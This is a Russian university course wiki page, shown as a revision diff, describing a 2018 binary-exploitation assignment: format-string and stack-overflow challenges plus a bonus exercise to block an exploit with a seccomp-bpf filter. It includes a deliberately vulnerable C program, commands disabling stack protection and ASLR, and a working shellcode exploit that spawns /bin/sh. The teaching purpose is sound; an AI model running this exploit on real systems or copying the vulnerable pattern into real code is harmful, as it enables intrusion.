Безопасность компьютерных систем 2018/Задание 3 — различия между версиями

Материал из Wiki - Факультет компьютерных наук
Перейти к: навигация, поиск
Строка 38: Строка 38:
  
 
Поломка не исключена, если задание не работает, или вы думаете что что-то работает не так, как должно, пишите мне на почту michail.vms@yandex.ru.
 
Поломка не исключена, если задание не работает, или вы думаете что что-то работает не так, как должно, пишите мне на почту michail.vms@yandex.ru.
 +
 +
 +
== Бонусное задание по SECCOMP ==
 +
 +
В качестве дополнительного бонусного задания требуется модифицировать уязвимую программу (добавить фильтр seccomp-bpf), чтобы эксплойт перестал работать.
 +
 +
Для начала вам нужно взять следующую простую программу и эксплойт к ней, и добиться успешного исполнения (под gdb и без него).
 +
==== Программа ====
 +
  #include <string.h>
 +
  #include <stdio.h>
 +
  int badcpy(char *str) {
 +
        register int i asm("esp");
 +
        printf("$esp = %#010x\n", i);
 +
        char buffer[100];
 +
        strcpy(buffer, str);
 +
  }
 +
  void main(int argc, char *argv[]) {
 +
        badcpy(argv[1]);
 +
        printf("Done!\n");
 +
  }
 +
 +
Собираем без stack-protector и включаем execstack:
 +
 +
  gcc -g -fno-stack-protector -z execstack -m32 -o stack stack.c
 +
 +
Отключаем ASLR:
 +
 +
  echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
 +
 +
==== Эксплойт (gensploit.py) ====
 +
 +
  #!/usr/bin/python
 +
  nopsled = '\x90' * 64
 +
  shellcode = (
 +
  '\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2' +
 +
  '\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89' +
 +
  '\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'
 +
  )
 +
  padding = 'A' * (112 - 64 - 32)
 +
  eip = '\xa0\xda\xff\xff'
 +
  print nopsled + shellcode + padding + eip
 +
 +
==== Задача ====
 +
Сначала заставьте переполнение работать.
 +
stack нужно передать шеллкод в качестве параметра командной строки.
 +
 +
Запускать лучше используя абсолютный путь к бинарнику и через env - (env - /home/user/stack `gensploit.py`), и в том числе в gdb (env - gdb --args /home/user/...), так вы добьётесь примерно одинакового stack layout под gdb и без него. Под gdb ещё перед запуском программы надо unset-нуть переменные окружения LINES, COLUMNS, и возможно что-то ещё, что выставляет именно ваш gdb. Подберите под gdb нужное значение для адреса "eip =" в тексте генератора эксплойта - на вашей машине он скорее всего будет не такой, как в примере выше.
 +
 +
Результат успешной эксплуатации - запуск /bin/sh через execve() (в данном случае через int80).
 +
 +
После этого основное задание: модифицировать stack.c таким образом, чтобы был запрещен вызов execve() и разрешены все нужные для работы printf() и нормального завершения через exit(). Делаем это с помощью SECCOMP BPF фильтра. Внимательнее с arch (проверяйте arch в политике), т.к. в примере всё собираем с -m32 (приведенный выше шеллкод - 32битный).
 +
 +
Результат присылать в виде модифицированного исходника (на почту gamajun at seclab/cs/msu/su с темой HSE:SECCOMP), к нему приложить текстовый файл с логами успешной эксплуатации без seccomp, успешной работы с seccomp но без эксплойта, и неуспешной работы эксплойта.
 +
 +
Задание весит '''1''' балл.
 +
 +
Дополнительно сделать проверку в фильтре, чтобы был разрешен execve() для /bin/ls, но запрещен для всего остального - ещё '''0.25''' балла.

Версия 14:46, 13 ноября 2018

Задание по теме "Бинарные уязвимости"

Задание будет состоять из трёх частей:

Format string

Для выполнения этой части задания Вам необходимо добиться печати строки бинарником "Congratulation! You have successfully solved level 1!" в stdout с помощью эксплуатации уязвимости типа format string. Решением является код эксплойта.

Материалы по теме: [1]

Stack buffer overflow

Для выполнения этой части задания Вам необходимо прочитать содержимое файла "flag_1". Решением является содержимое этого файла и код эксплойта.

Материалы по теме: [2]

Bonus

...

Файлы заданий

Файлы задания можно взять тут: [3]. Само задание развёрнуто на pwn_task.hse.seclab.cs.msu.su:777.

Баллы

Флаги могут иметь разную стоимость. Суммарно все флаги обязательной части будут давать два балла, бонусной - один балл.

Дедлайн

29.11.2018 включительно.

Сдача решений

Решения заданий нужно присылать на почту michail.vms@yandex.ru с темой HSE_TASK, полным ФИО и номером группы.

Поломка заданий

Поломка не исключена, если задание не работает, или вы думаете что что-то работает не так, как должно, пишите мне на почту michail.vms@yandex.ru.


Бонусное задание по SECCOMP

В качестве дополнительного бонусного задания требуется модифицировать уязвимую программу (добавить фильтр seccomp-bpf), чтобы эксплойт перестал работать.

Для начала вам нужно взять следующую простую программу и эксплойт к ней, и добиться успешного исполнения (под gdb и без него).

Программа

  #include <string.h>
  #include <stdio.h>
  int badcpy(char *str) {
       register int i asm("esp");
       printf("$esp = %#010x\n", i);
       char buffer[100];
       strcpy(buffer, str);
  }
  void main(int argc, char *argv[]) {
       badcpy(argv[1]);
       printf("Done!\n");
  }

Собираем без stack-protector и включаем execstack:

  gcc -g -fno-stack-protector -z execstack -m32 -o stack stack.c

Отключаем ASLR:

  echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Эксплойт (gensploit.py)

  #!/usr/bin/python
  nopsled = '\x90' * 64
  shellcode = (
  '\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2' +
  '\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89' +
  '\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'
  )
  padding = 'A' * (112 - 64 - 32)
  eip = '\xa0\xda\xff\xff'
  print nopsled + shellcode + padding + eip

Задача

Сначала заставьте переполнение работать. stack нужно передать шеллкод в качестве параметра командной строки.

Запускать лучше используя абсолютный путь к бинарнику и через env - (env - /home/user/stack `gensploit.py`), и в том числе в gdb (env - gdb --args /home/user/...), так вы добьётесь примерно одинакового stack layout под gdb и без него. Под gdb ещё перед запуском программы надо unset-нуть переменные окружения LINES, COLUMNS, и возможно что-то ещё, что выставляет именно ваш gdb. Подберите под gdb нужное значение для адреса "eip =" в тексте генератора эксплойта - на вашей машине он скорее всего будет не такой, как в примере выше.

Результат успешной эксплуатации - запуск /bin/sh через execve() (в данном случае через int80).

После этого основное задание: модифицировать stack.c таким образом, чтобы был запрещен вызов execve() и разрешены все нужные для работы printf() и нормального завершения через exit(). Делаем это с помощью SECCOMP BPF фильтра. Внимательнее с arch (проверяйте arch в политике), т.к. в примере всё собираем с -m32 (приведенный выше шеллкод - 32битный).

Результат присылать в виде модифицированного исходника (на почту gamajun at seclab/cs/msu/su с темой HSE:SECCOMP), к нему приложить текстовый файл с логами успешной эксплуатации без seccomp, успешной работы с seccomp но без эксплойта, и неуспешной работы эксплойта.

Задание весит 1 балл.

Дополнительно сделать проверку в фильтре, чтобы был разрешен execve() для /bin/ls, но запрещен для всего остального - ещё 0.25 балла.